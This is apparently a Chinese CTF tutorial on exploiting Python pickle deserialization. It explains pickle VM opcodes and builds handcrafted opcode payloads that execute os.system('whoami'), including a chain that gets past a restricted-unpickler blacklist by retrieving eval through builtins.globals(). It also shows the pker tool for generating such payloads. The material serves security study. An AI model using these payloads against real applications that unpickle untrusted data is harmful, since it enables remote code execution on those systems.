pickle

 相关介绍看手册就行,写的不能再详细。

那么如果一个允许Unpickle的场景,环境一般会做怎么样的限制呢?

毫无疑问又演变成沙盒了,在如今ctf越来越卷的情况下,限制条件也是越来越苛刻。从官方给的一个demo看看:

import builtins
import io
import pickle

safe_builtins = {
    'range',
    'complex',
    'set',
    'frozenset',
    'slice',
}

class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

test= b"cos\nsystem\n(S'echo hello world'\ntR."
restricted_loads(test)

其中这里重写了find_class

image-20210815152312283

module限制为builtins,并且只允许safe_builtins

🌀  pickle  python3 main.py
Traceback (most recent call last):
  File "/Users/theoyu/workspace/python/pickle/main.py", line 32, in <module>
    restricted_loads(test)
  File "/Users/theoyu/workspace/python/pickle/main.py", line 28, in restricted_loads
    return RestrictedUnpickler(io.BytesIO(s)).load()
  File "/Users/theoyu/workspace/python/pickle/main.py", line 22, in find_class
    raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
_pickle.UnpicklingError: global 'os.system' is forbidden

而出题的话,当然不会直接限制死,往往都是黑名单漏几个,白名单多几个,去构造。这就需要我们手撕opcode,因为__reduce__只能返回一个元祖,沙盒逃逸的情况往往都是一长串的。

要解析opcode自然离不开PVM(Pickle Virtual Machine),pvm涉及到三个部分:

  • 解析引擎:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 停止。最终留在栈顶的值将被作为反序列化对象返回。
  • 栈区:最核心的数据结构,所有的数据操作几乎都在栈上。为了应对数据嵌套,栈区分为两个部分:当前栈专注于维护最顶层的信息,而前序栈维护下层的信息。这两个栈区的操作过程将在讨论MASK指令时解释。
  • 存储区(memo):将反序列化完成的数据以 key-value 的形式储存在memo中,以便后来使用。大多数情况,我们并不需要用到这个部分。

Pickletools是一个利于我们反汇编pickle的工具,举一个例子看看

import pickletools
import pickle
import os

class exp(object):
    def __reduce__(self):
        return (os.system,('whoami',))
e = exp()
s = pickle.dumps(e,0)
print(s.decode())
pickletools.dis(s)

同时,pickle.dumps一共有6种形式,其中版本0最利于我们观察,越往后为了效率增加了很多字符,不过好在load是向前兼容的,所以我们后面的分析都采用版本0

cposix
system
p0
(Vwhoami
p1
tp2
Rp3
.
    0: c    GLOBAL     'posix system'
   14: p    PUT        0
   17: (    MARK
   18: V        UNICODE    'whoami'
   26: p        PUT        1
   29: t        TUPLE      (MARK at 17)
   30: p    PUT        2
   33: R    REDUCE
   34: p    PUT        3
   37: .    STOP
highest protocol among opcodes = 0

关于opcode的语法,官方源码有点含糊,不过有师傅总结下来了:

opcode 描述 具体写法 栈上的变化 memo上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n 对象被储存
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

结合语法,重新分析一下opcode

    0: c    GLOBAL     'posix system  ' #对象入栈 unix为posix windows为nt
   14: p    PUT        0 						  	#存储到memo的0位置
   17: (    MARK  									    #向栈中压入一个MARK标记 左括号标志符
   18: V        UNICODE    'whoami'     #压入一个字符串
   26: p        PUT        1            #存储到memo的1位置
   29: t        TUPLE      (MARK at 17) #在栈中寻找上一个MARK标记,将其和中间内容出栈,参数形成元祖入栈
   30: p    PUT        2							  #存储到memo的2位置
   33: R    REDUCE											# system("whoami")出栈,结果如栈
   34: p    PUT        3								# 结果存储到memo3
   37: .    STOP												# 停止

结合语法来说的话,还是可以理解了,加上memo上的操作可以省略,简化为:

 import pickle
 
 a='''cposix
 system
 (Vwhoami
 tR.'''
 
 print(a)
 pickle.loads(a.encode())
 
 #theoyu

上面用了R做了函数执行,同时io稍作修改也可以达到一样的效果

# o
'''(cos
system
S'whoami'
o.'''
pickletools->
    0: (    MARK
    1: c        GLOBAL     'os system'
   12: S        STRING     'whoami'
   22: o        OBJ        (MARK at 0)
   23: .    STOP


# i
'''(S'whoami'
ios
system
.'''
pickletools->
    0: (    MARK
    1: S        STRING     'whoami'
   11: i        INST       'os system' (MARK at 0)
   22: .    STOP

拿p神经典的code_break试试:

  • 模块白名单:builtins
  • 子模块黑名单:'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'

因为只禁用了子模块,我们可以先通过一轮global+get重新筛选出builtins,再构造即可。

先构造__builtins__.globals().get('__builtins__')拿到可以执行eval的builtins,再执行builtins.getattr(builtins, 'eval'),('__import__("os").system("whoami")',)即可。

cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'__builtins__'   #拿到bultins
tRS'eval'
tRp1
(S'__import__("os").system("whoami")'
tR.

不过这样看起来还是有一些费劲的,学长@iv4n写的pker利用遍历AST结点自动化构建解决了这个问题

上述例子只需要构造:

getattr = GLOBAL('builtins', 'getattr')
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()
__builtins__ = dict_get(builtins, '__builtins__')
eval = getattr(__builtins__, 'eval')
eval('__import__("os").system("whoami")')
return

其中

GLOBAL
对应opcode:b'c'
获取module下的一个全局对象(没有import的也可以,比如下面的os):
GLOBAL('os', 'system')
输入:module,instance(callable、module都是instance)  

INST
对应opcode:b'i'
建立并入栈一个对象(可以执行一个函数):
INST('os', 'system', 'ls')  
输入:module,callable,para 

OBJ
对应opcode:b'o'
建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):
OBJ(GLOBAL('os', 'system'), 'ls') 
输入:callable,para

xxx(xx,...)
对应opcode:b'R'
使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)

li[0]=321
或
globals_dic['local_var']='hello'
对应opcode:b's'
更新列表或字典的某项的值

xx.attr=123
对应opcode:b'b'
对xx对象进行属性设置

return
对应opcode:b'0'
出栈(作为pickle.loads函数的返回值):

即可生成opcode。

参考: